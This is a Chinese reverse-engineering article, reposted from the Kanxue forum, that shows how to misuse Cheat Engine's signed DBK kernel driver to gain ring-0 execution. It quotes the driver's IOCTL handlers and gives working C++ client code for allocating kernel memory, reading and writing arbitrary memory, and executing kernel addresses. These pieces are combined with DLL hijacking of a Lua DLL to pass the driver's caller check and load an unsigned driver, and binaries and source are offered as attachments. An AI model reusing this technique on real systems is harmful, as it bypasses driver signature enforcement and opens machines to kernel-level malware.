利用CE的DBK驱动获取R0权限

新闻资讯   2023-07-19 18:00   68   0  




分析CE7.0的DBK驱动


CE的DBK驱动提供了一些很直接的IOCTL接口,包括在分配内核中的非分页内存、执行内核代码、读写任意内存地址、建立mdl映射等,下面展示了DBK驱动通过IOCTL接口提供功能的部分源码。

这里提供了分配/释放非分页内存的功能:

case IOCTL_CE_ALLOCATEMEM_NONPAGED:
{
struct input
{
ULONG Size;
} *inp;
PVOID address;
int size;

inp=Irp->AssociatedIrp.SystemBuffer;
size=inp->Size;

address=ExAllocatePool(NonPagedPool,size);
*(PUINT64)Irp->AssociatedIrp.SystemBuffer=0;
*(PUINT_PTR)Irp->AssociatedIrp.SystemBuffer=(UINT_PTR)address;


if (address==0)
ntStatus=STATUS_UNSUCCESSFUL;
else
{
DbgPrint("Alloc success. Cleaning memory... (size=%d)\n",size);

DbgPrint("address=%p\n", address);
RtlZeroMemory(address, size);

ntStatus=STATUS_SUCCESS;
}

break;
}

case IOCTL_CE_FREE_NONPAGED:
{
struct input
{
UINT64 Address;
} *inp;

inp = Irp->AssociatedIrp.SystemBuffer;

ExFreePool((PVOID)(UINT_PTR)inp->Address);

ntStatus = STATUS_SUCCESS;

break;
}

这里提供了给定内核地址就能直接执行内核代码的功能:

case IOCTL_CE_EXECUTE_CODE:
{
typedef NTSTATUS (*PARAMETERLESSFUNCTION)(UINT64 parameters);
PARAMETERLESSFUNCTION functiontocall;

struct input
{
UINT64 functionaddress; //function address to call
UINT64 parameters;
} *inp=Irp->AssociatedIrp.SystemBuffer;
DbgPrint("IOCTL_CE_EXECUTE_CODE\n");

functiontocall=(PARAMETERLESSFUNCTION)(UINT_PTR)(inp->functionaddress);

__try
{
ntStatus=functiontocall(inp->parameters);
DbgPrint("Still alive\n");
ntStatus=STATUS_SUCCESS;
}
__except(1)
{
DbgPrint("Exception occured\n");
ntStatus=STATUS_UNSUCCESSFUL;
}

break;
}

之所以DBK驱动提供如此直白的接口但微软还能给签名,是因为DBK驱动做了一点基本的防护,在进程打开DBK驱动创建的设备对象时,它会通过进程文件对应的sig文件来校验进程文件的数字签名,如果校验失败,会打开设备对象失败,从而阻止其他进程使用DBK驱动提供的功能,这也就是为什么CE的安装目录下有sig文件。




思路


我发现CE由于需要加载lua脚本,所以导入表里有lua53-64.dll,可以通过dll劫持让CE在启动之前就加载自己写的dll,dll里加载DBK驱动,并打开其创建的设备对象,之后内存加载自己写的未签名驱动并运行DriverEntry,虽然DriverEntry不是在System进程下运行的但好歹是跑了R0的代码。




详细步骤


1、加载DBK驱动

CreateService创建服务,但在OpenService打开服务之前需要写4个注册表项,不然DBK驱动会加载失败。

// 写相关注册表
HKEY hKey;
std::wstring subKey = Format(L"SYSTEM\\CurrentControlSet\\Services\\%ws", DBK_SERVICE_NAME);
LSTATUS status = RegOpenKeyEx(HKEY_LOCAL_MACHINE, subKey.c_str(), 0, KEY_WRITE, &hKey);
if (ERROR_SUCCESS != status)
{
LOG("RegOpenKeyEx failed");
CloseServiceHandle(hService);
CloseServiceHandle(hMgr);
return false;
}
std::wstring AValue = Format(L"\\Device\\%ws", DBK_SERVICE_NAME);
RegSetValueEx(hKey, L"A", 0, REG_SZ, reinterpret_cast<const BYTE*>(AValue.data()), AValue.size() * sizeof(wchar_t));
std::wstring BValue = Format(L"\\DosDevices\\%ws", DBK_SERVICE_NAME);
RegSetValueEx(hKey, L"B", 0, REG_SZ, reinterpret_cast<const BYTE*>(BValue.data()), BValue.size() * sizeof(wchar_t));
std::wstring CValue = Format(L"\\BaseNamedObjects\\%ws", DBK_PROCESS_EVENT_NAME);
RegSetValueEx(hKey, L"C", 0, REG_SZ, reinterpret_cast<const BYTE*>(CValue.data()), CValue.size() * sizeof(wchar_t));
std::wstring DValue = Format(L"\\BaseNamedObjects\\%ws", DBK_THREAD_EVENT_NAME);
RegSetValueEx(hKey, L"D", 0, REG_SZ, reinterpret_cast<const BYTE*>(DValue.data()), DValue.size() * sizeof(wchar_t));

2、打开设备对象

打开设备对象后,需要将之前创建的4个注册表项删除掉。

3、利用DBK驱动提供的功能

下面是分配/释放内核中的非分页内存的代码:

UINT64 DBK_AllocNonPagedMem(ULONG size)
{
#pragma pack(1)
struct InputBuffer
{
ULONG size;
};
#pragma pack()

InputBuffer inputBuffer;
inputBuffer.size = size;
UINT64 allocAddress = 0LL;
DWORD retSize;
if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_ALLOCATEMEM_NONPAGED, (LPVOID)&inputBuffer, sizeof(inputBuffer), &allocAddress, sizeof(allocAddress), &retSize, NULL))
{
LOG("DeviceIoControl IOCTL_CE_ALLOCATEMEM_NONPAGED failed");
return 0;
}
return allocAddress;
}
bool DBK_FreeNonPagedMem(UINT64 allocAddress)
{
#pragma pack(1)
struct InputBuffer
{
UINT64 address;
};
#pragma pack()

InputBuffer inputBuffer;
inputBuffer.address = allocAddress;
DWORD retSize;
if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_FREE_NONPAGED, (LPVOID)&inputBuffer, sizeof(inputBuffer), NULL, 0, &retSize, NULL))
{
LOG("DeviceIoControl IOCTL_CE_FREE_NONPAGED failed");
return false;
}
return true;
}

下面是读写任意进程的内存地址的代码(包括R0地址):

bool DBK_ReadProcessMem(UINT64 pid, UINT64 toAddr, UINT64 fromAddr, DWORD size, bool failToContinue)
{
#pragma pack(1)
struct InputBuffer
{
UINT64 processid;
UINT64 startaddress;
WORD bytestoread;
};
#pragma pack()

UINT64 remaining = size;
UINT64 offset = 0;
do
{
UINT64 toRead = remaining;
if (remaining > 4096)
{
toRead = 4096;
}

InputBuffer inputBuffer;
inputBuffer.processid = pid;
inputBuffer.startaddress = fromAddr + offset;
inputBuffer.bytestoread = toRead;
DWORD retSize;
if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_READMEMORY, (LPVOID)&inputBuffer, sizeof(inputBuffer), (LPVOID)(toAddr + offset), toRead, &retSize, NULL))
{
if (!failToContinue)
{
LOG("DeviceIoControl IOCTL_CE_READMEMORY failed");
return false;
}
}

remaining -= toRead;
offset += toRead;
} while (remaining > 0);

return true;
}
bool DBK_WriteProcessMem(UINT64 pid, UINT64 targetAddr, UINT64 srcAddr, DWORD size)
{
#pragma pack(1)
struct InputBuffer
{
UINT64 processid;
UINT64 startaddress;
WORD bytestowrite;
};
#pragma pack()

UINT64 remaining = size;
UINT64 offset = 0;
do
{
UINT64 toWrite = remaining;
if (remaining > (512 - sizeof(InputBuffer)))
{
toWrite = 512 - sizeof(InputBuffer);
}

InputBuffer* pInputBuffer = (InputBuffer*)malloc(toWrite + sizeof(InputBuffer));
if (NULL == pInputBuffer)
{
LOG("malloc failed");
return false;
}
pInputBuffer->processid = pid;
pInputBuffer->startaddress = targetAddr + offset;
pInputBuffer->bytestowrite = toWrite;
memcpy((PCHAR)pInputBuffer + sizeof(InputBuffer), (PCHAR)srcAddr + offset, toWrite);
DWORD retSize;
if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_WRITEMEMORY, (LPVOID)pInputBuffer, (sizeof(InputBuffer) + toWrite), NULL, 0, &retSize, NULL))
{
LOG("DeviceIoControl IOCTL_CE_WRITEMEMORY failed");
free(pInputBuffer);
return false;
}
free(pInputBuffer);

remaining -= toWrite;
offset += toWrite;
} while (remaining > 0);

return true;
}

下面是执行内核地址的代码:

bool DBK_ExecuteCode(UINT64 address)
{
#pragma pack(1)
struct InputBuffer
{
UINT64 address;
UINT64 parameters;
};
#pragma pack()

InputBuffer inputBuffer;
inputBuffer.address = address;
inputBuffer.parameters = 0;
DWORD retSize;
if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_EXECUTE_CODE, (LPVOID)&inputBuffer, sizeof(inputBuffer), NULL, 0, &retSize, NULL))
{
LOG("DeviceIoControl IOCTL_CE_EXECUTE_CODE failed");
return false;
}
return true;
}

4、将未签名驱动映射到内核内存中并修复其RVA以及导入表,之后运行其DriverEntry。
(具体代码太多了,就不展示了)

5、创建驱动项目

要注意的是,由于这个驱动运行的方式不正常,所以要将入口点改为DriverEntry,还要禁用GS防护,这样才能避免SecurityCookie引发的crash问题。




我在里面简单打印了点日志用于验证:

extern "C" NTSTATUS DriverEntry(
IN PDRIVER_OBJECT pDriverObject,
IN PUNICODE_STRING pRegistryPath)
{
KdPrint(("Enter DriverEntry\n"));

KdPrint(("Leave DriverEntry\n"));
return STATUS_SUCCESS;
}





结果


最终目录如下:



管理员权限启动richstuff-x86_64.exe,它会在运行前加载lua53-x64.dll,之后dll会加载richstuffk64.sys驱动并打开其创建的设备对象,再通过IO控制其映射MyDriver.sys到内存中并调用其DriverEntry。

上图中的成果见附件CECheater.7z。
代码见附件code.7z。
(点击阅读原文在文末获取)



看雪ID:昵称好麻烦

https://bbs.kanxue.com/user-home-825829.htm

*本文为看雪论坛优秀文章,由 昵称好麻烦 原创,转载请注明来自看雪社区


# 往期推荐

1、在 Windows下搭建LLVM 使用环境

2、深入学习smali语法

3、安卓加固脱壳分享

4、Flutter 逆向初探

5、一个简单实践理解栈空间转移

6、记一次某盾手游加固的脱壳与修复




球分享

球点赞

球在看

文章引用微信公众号"看雪学苑",如有侵权,请联系管理员删除!

博客评论
还没有人评论,赶紧抢个沙发~
发表评论
说明:请文明发言,共建和谐网络,您的个人信息不会被公开显示。